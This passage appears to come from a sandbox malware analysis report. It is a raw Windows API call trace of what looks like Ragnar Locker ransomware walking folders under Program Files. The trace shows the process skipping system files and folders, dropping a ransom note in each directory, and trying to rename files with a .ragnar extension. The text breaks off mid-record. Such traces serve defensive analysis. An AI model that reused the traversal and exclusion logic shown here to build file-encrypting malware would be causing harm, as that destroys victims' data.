lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.269] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.270] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.270] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.270] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.270] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.270] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.270] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.270] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f8cde0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.270] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.270] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.270] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.270] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.270] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.270] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui") returned=".mui" [0058.270] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.270] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.271] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.271] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.271] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.271] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.271] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.271] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.271] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.271] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0058.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.272] CloseHandle (hObject=0xffffffff) returned 0 [0058.272] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" [0058.272] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.272] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.272] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.272] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.272] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0058.272] lstrcmpiW (lpString1="sr-Latn-CS", lpString2=".") returned 1 [0058.272] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="..") returned 1 [0058.272] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Windows") returned -1 [0058.272] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Windows.old") returned -1 [0058.272] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Tor browser") returned -1 [0058.272] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Internet Explorer") returned 1 [0058.272] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Google") returned 1 [0058.273] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Opera") returned 1 [0058.273] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Opera Software") returned 1 [0058.273] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Mozilla") returned 1 [0058.273] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Mozilla Firefox") returned 1 [0058.273] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="$Recycle.Bin") returned 1 [0058.273] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="ProgramData") returned 1 [0058.273] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="All Users") returned 1 [0058.273] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.273] lstrcpyW (in: lpString1=0x1eb62e, lpString2="sr-Latn-CS" | out: lpString1="sr-Latn-CS") returned="sr-Latn-CS" [0058.273] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\" [0058.273] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\" [0058.273] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\RGNR_FD7BD9FC.txt" [0058.273] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.281] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*" [0058.281] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0058.281] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.281] lstrcpyW (in: lpString1=0x1ea758, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fb2f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fb2f40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.282] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fb2f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fb2f40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.282] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.282] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74fb2f40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74fb2f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.282] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.282] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.282] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.282] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.282] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fb2f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fb2f40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fb2f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fb2f40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74fb2f40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74fb2f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.282] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0058.282] lstrcpyW (in: lpString1=0x1eab6c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.282] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.282] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.282] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0058.283] lstrcpyW (in: lpString1=0x1eab6c, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.283] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned=".mui" [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.283] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.283] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.283] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.283] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.283] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.283] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.283] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.283] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui")) returned 0x20 [0058.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.284] CloseHandle (hObject=0xffffffff) returned 0 [0058.284] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" [0058.284] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.284] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.284] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.284] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.284] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, 